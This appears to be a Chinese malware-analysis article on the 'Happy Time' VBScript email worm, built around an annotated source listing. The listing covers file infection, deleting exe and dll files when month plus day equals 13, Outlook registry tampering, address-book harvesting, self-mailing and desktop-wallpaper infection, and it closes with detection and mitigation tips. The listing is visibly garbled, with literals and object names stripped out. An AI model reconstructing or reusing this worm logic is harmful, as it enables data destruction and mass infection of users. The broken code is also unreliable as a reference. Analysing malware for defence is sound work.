欢乐时光代码分析.docx

欢乐时光代码分析

　　“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库成功地避开了安全审核的手段更是令人叹为观止。
　　下面让我们来看看它藏在快乐的外衣下的是什么吧！
***************欢乐时光***************
RemIamsorry!happytime
OnErrorResumeNext
Mload
’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。
Submload()
OnErrorResumeNext
mPath=Grf()
SetOs=CreateObject()
SetOh=CreateObject()
’建立枚举对象，避开了安全审核
IfIsHTMLThen
’调用IsHtml函数，如果是Html，就小写……
mURL=LCase()
IfmPath=Then
=C:“
=Lhtml()
()
’如果mPath为空，就在C盘下生成
Ihtml=
’超文本的内容，并指向C:“
Call(AfterBegin,Ihtml)
Else
IfIv(mPath,)Then
setIntervalRt(),10000
Else
m=hta
IfLCase(m)=Right(mURL,Len(m))Then
id=setTimeout(mclose(),1)
’设置超时条件
main
Else
()
=mPath&“&
=Lhtml()
()
IvmPath,
’生成
EndIf
EndIf
EndIf
Else
Main
’都不是，就执行main函数
EndIf
EndSub
’******************************************************************
’以下为主函数，太长了！
Submain()
OnErrorResumeNext
SetOf=CreateObject()
’不用说，创建FileSystemObject对象啦
SetOd=CreateObject()
’创建Dictionary对象,用来保存数据键和项目对，它实际上是一个比较开放的数组
html,1100
vbs,0100
htm,1100
asp,0010
’向Dictionary对象添加要感染的项目对
Ks=HKEY_CURRENT_USER“Software“
’使用变量以减少代码长度
Ds=Grf()
Cs=Gsf()
IfIsVbsThen
’如果是VBS
If(C:“)Then
(C:“)
’如果c:“存在，就删掉，消灭遗留的痕迹
EndIf
Key=CInt(Month(Date)+Day(Date))
IfKey=13Then
’如果月与日之和为13
exe,0001
dll,0001

’就清空Dictionary数组，并将exe、dll加入Dictionary对象，以备删除之用
EndIf
Cn=Rg(Ks&Help“Count)
’读注册表中的HKEY_CURRENT_USER“Software“Help“Count键值
IfCn=Then
Cn=1
’如果Count为0，就设为1
EndIf
RwKs&Help“Count,Cn+1
’添加HKEY_CURRENT_USER“Software“Help“Count键值，值为2
f1=Rg(Ks&Help“FileName)
’再读HKEY_CURRENT_USER“Software“Help“FileName键值
f2=FNext(Of,Od,f1)
’得到该文件的文件名
fext=GetExt(Of,Od,f2)
’得到该文件扩展名的代号
RwKs&Help“FileName,f2
’添加键值
IfIsDel(fext)Then
’如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3=f2
’储存文件名
f2=FNext(Of,Od,f2)
’得到文件的文件名？
RwKs&Help“FileName,f2
’写注册表
f3
’删除文件
Else
IfLCase()LCase(f2)Then
’如果不是集合中的文件
FwOf,f2,fext
EndIf
EndIf
If(CInt(Cn)Mod366)=0Then
If(CInt(Second(Time))Mod2)=0Then
’使用Cint函数强制执行转换，并发邮件
Tsend
Else
adds=Og
Msend(adds)
EndIf
EndIf
wp=Rg(HKEY_CURRENT_USER“ControlPanel“desktop“wallPaper)
IfRg(Ks&Help“wallPaper)wpOrwp=Then
’比较桌面墙纸是否已改变
Ifwp=Then
n1=
n3=Cs&“
Else
mP=(wp).ParentFolder
n1=(wp)
n2=(wp)
n3=Cs&“&n2&.htm
EndIf
Setpfc=(n3,True)
mt=Sa(1100)
’创建超文本
&HTML&bodybgcolor=’#007f7f’background=’&n1&’
&/Body&/HTML&mt
’超文本的内容
RwKs&Help“wallPaper,n3
RwHKEY_CURRENT_USER“ControlPanel“desktop“wallPaper,n3
’将带毒的超文本设置成活动桌面
EndIf
Else
Setfc=(Ds&“,True)

Sa(0100)
’创建vbs文件
bf=Cs&“
Setfc2=(bf,True)
Lhtml
’创建windows下的
oeid=Rg(HKEY_CURRENT_USER“Identities“DefaultUserID)
oe=HKEY_CURRENT_USER“Identities“&oeid&“Software“Microsoft“OutlookE
xpress““Mail
MSH=oe&“MessageSendHTML
CUS=oe&“ComposeUseStationery
SN=oe&“StationeryName
RwMSH,1
RwCUS,1
RwSN,bf
’在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼OutlookExpress＼＼Mail下添加三个键值MessageSendHTML、ComposeUseStationery和StationeryName，前两个的值为1，后一个指向windows“
Web=Cs&“WEB
Setgf=(Web).Files
’得到windows“web文件夹里的文件
htt,1100
’向Dictionary里添加htt项目对
ForEachmIngf
’遍历windows“web下的每一个文件
fext=GetExt(Of,Od,m)
’得到每个文件的扩展名
IffextThen
’如果扩展名不为空，则
FwOf,m,fext
EndIf
Next
EndIf
EndSub
’******************************************************************
Submclose()
&titleIamsorry!’写入Iamsorry,并关闭。以此作为感染与否的标记
EndSub
’******************************************************************
SubFw(Of,S,n)
’此时S为文件名，n为文件扩展名
Dimfc,fc2,m,mmail,mt
OnErrorResumeNext
Setfc=(S,1)
’只读模式打开该文件
mt=
’读入全部文件流
’关闭文件
IfNotSc(mt)Then
’如果未感染过
mmail=Ml(mt)
mt=Sa(n)
Setfc2=(S,8)
’打开文件并在文件末尾进行写爱作
mt
Msend(mmail)
’发带毒邮件
EndIf
EndSub
’******************************************************************
FunctionSc(S)
mN=RemIamsorry!happytime
IfInStr(S,mN)0Then
’如果读入的文件流中有RemIamsorry!happytime
Sc=True
Else
Sc=False
’表示已感染过，返回True,否则为False

EndIf
EndFunction
’
　　******************************************************************
FunctionFNext(Of,Od,S)
Dimfpath,fname,fext,T,gf
OnErrorResumeNext
fname=
T=False
’初始化变量
If(S)Then
’如果S存在于当前文件夹中
fpath=(S).ParentFolder
’得到文件的父目录名
fname=S
’得到文件名
ElseIf(S)Then
’不存在于当前文件夹中，则得到目录名
fpath=S
T=True
Else
fpath=Dnext(Of,)
’得到当前盘符——即根目录
EndIf
DoWhileTrue
Setgf=(fpath).Files
’得到当前目录下的所有文件对象
ForEachmIngf
’遍历每个文件
IfTThen
IfGetExt(Of,Od,m)Then
’如果该文件是文件集合中的一员
FNext=m
’则返回该文件名，供调用的函数或过程使用——感染或删除之
ExitFunction
EndIf
ElseIfLCase(m)=LCase(fname)Orfname=Then
’如果没文件
T=True
EndIf
Next
fpath=Pnext(Of,fpath)’
Loop
EndFunction
’******************************************************************
FunctionPnext(Of,S)
OnErrorResumeNext
DimPpath,Npath,gp,pn,T,m
T=False
If(S)Then
’如果如果指定的文件夹存在
Setgp=(S).SubFolders
’就得到子目录数
pn=
Ifpn=0Then
’如果没子目录
Ppath=LCase(S)’
Npath=LCase((S))
’得到父目录的小写形式
T=True
Else
Npath=LCase(S)
’有子目录，得到其小写形式的集合
EndIf
DoWhileNotEr’
ForEachpnIn(Npath).SubFolders
’得到子目录下的子目录
IfTThen
IfPpath=LCase(pn)Then
T=False
EndIf
Else
Pnext=LCase(pn)
ExitFunction
EndIf
Next
T=True
Ppath=LCase(Npath)
’将字符串转化成小写
Npath=(Npath)’
If(Ppath).IsRootFolderThen
’如果是根目录
m=(Ppath)
’就得到分区符
Pnext=Dnext(Of,m)
ExitFunction
EndIf
Loop
EndIf
EndFunction
’******************************************************************
FunctionDnext(Of,S)
Dimdc,n,d,T,m

OnErrorResumeNext
T=False
m=
Setdc=
’得到所有的驱动器盘符
ForEachdIndc
’遍历每个驱动器
If=2Or=3Then
’如果是网络盘或本地盘
IfTThen
Dnext=d
ExitFunction
’如果是False，就返回当前盘，并退出本函数
Else
IfLCase(S)=LCase(d)Then
’如果是True且盘符相同，就令T为True
T=True
EndIf
Ifm=Then
’如果m为空，就将盘符付给m
m=d
EndIf
EndIf
EndIf
Next
Dnext=m
’返回盘符
EndFunction
’******************************************************************
FunctionGetExt(Of,Od,S)
Dimfext
OnErrorResumeNext
fext=LCase((S))
’返回该文件扩展名的小写
GetExt=(fext)
’返回Dictionary对象中指定的key对应的item——即0001(exe)等
EndFunction
’******************************************************************
SubRw(k,v)
’写注册表
DimR
OnErrorResumeNext
SetR=CreateObject()
’创建对象
k,v
EndSub
’******************************************************************
FunctionRg(v)
’读注册表
DimR
OnErrorResumeNext
SetR=CreateObject()
’创建对象
Rg=(v)
EndFunction
’******************************************************************
FunctionIsVbs()
’此函数判断是不是VBS文件
DimErrTest
OnErrorResumeNext
ErrTest=
IfErrThen
’如果出错，则不是VBS
IsVbs=False
Else
IsVbs=True
EndIf
EndFunction
’******************************************************************
FunctionIsHTML()
’此函数判断是不是Html文件
DimErrTest
OnErrorResumeNext
ErrTest=
IfErThen
IsHTML=False
’如果出错，则不是超文本
Else
IsHTML=True
EndIf
EndFunction
’******************************************************************
FunctionIsMail(S)
’此函数判断是不是邮件地址
Dimm1,m2
IsMail=False
IfInStr(S,vbCrLf)=0Then
’返回vbCrLf在S中第一次出现的位置,vbCrLf是换行符
m1=InStr(S,@)
m2=InStr(S,.)
Ifm10Andm1m2Then
’如果有“@”符号且“@”在“.之前，则是邮件地址

IsMail=True
EndIf
EndIf
EndFunction
’******************************************************************
FunctionGsf()
’得到windows目录
DimOf,m
OnErrorResumeNext
SetOf=CreateObject()
’创建FileSystemObject对象
m=(0)
’得到特殊目录——Windows、System和Temp目录
IfErThen
’如果失败，返回C:“
Gsf=C:“
Else
’若正常，则返回%Windows%
Gsf=m
EndIf
EndFunction
’******************************************************************
FunctionLhtml()
’写入超文本的内容，其中vbCrLf是换行符
Lhtml=&HTML&&TitleHelp&Body&Lscript(Lvbs())&vbCrLf&_
&/BodyEndFunction
’******************************************************************
FunctionLscript(S)
’写入vbscript的声明
Lscript=&scriptlanguage=’VBScript’&vbCrLf&_
S&&/script&
EndFunction
’******************************************************************
FunctionSl(S1,S2,n)
Diml1,l2,l3,i
l1=Len(S1)
’得到文件流的长度
l2=Len(S2)
’得到mailto:的长度
i=InStr(S1,S2)
’在文件流中查找mailto:第一次出现的位置——值为一个数
Ifi0Then
’找到则进行字符串爱作
l3=i+l2-1
Ifn=0Then
Sl=Left(S1,i-1)
ElseIfn=1Then
Sl=Right(S1,l1-l3)
EndIf
Else
Sl=
EndIf
EndFunction
’******************************************************************
FunctionOg()
’得到WAB中的邮件地址
Dimi,n,m(),Om,Oo
SetOo=CreateObject()
’创建Outlook应用程序对象，Outlook和OutlookExpress都跑不掉啦！
SetOm=(MAPI).GetDefaultFolder(10).Items
n=
ReDimm(n)
Fori=1Ton
m(i-1)=(i).Email1Address
得到每个WAB中的邮件地址
Next
Og=m
EndFunction
’******************************************************************
SubTsend()

’发带毒邮件
DimOd,MS,MM,a,m
SetOd=CreateObject()
MConnectMS,MM
=True
Fori=0To-1
=i
a=
If(a)=Then
(a)=MM.
　　MsgSubject
EndIf
Next
ForEachmIn
=Fw:&(m)
’设置邮件标题
=m
’此邮件的当前的目标邮件地址
=Gsf&“
’添加附件Windows“
’发送！
Next
EndSub
’******************************************************************
FunctionEr()
’设置的错误陷阱，避免程序崩溃，严谨的风格值得学习
If=0Then
Er=False
Else
Er=True
EndIf
EndFunction
’******************************************************************
FunctionIsDel(S)
’此函数查看当前文件是否是要删除的文件类型
IfMid(S,4,1)=1Then
’看S的第四个字符是否是1——即是0001(exe和dll)
IsDel=True
’如是，返回True，以备删除
Else
IsDel=False
’如不是，返回False
EndIf
EndFunction
’******************************************************************
于安全上的考虑，上面只登出了技术上比较新颖和重要的几个模块供大家研究和学习之用。从代码中大家可以看到，“欢乐时光”也采用了“爱虫”的FileSystemObject的技术，这也几乎是所有VBS邮件病毒必不可少的部分。因此如果杀毒软件监视所有Html和Vbs中的FileSystemObject关键字，几乎可以查出所有和潜在的变种吧！方法是找到添加/删除程序-Windows安装程序--附件，将组件中的WindowsScriptingHost所占空间前面的勾去掉,然后选确定即可。如果你想研究其源码，用Foxmail导出为文本文件即可，“知己知彼，百战不殆”嘛！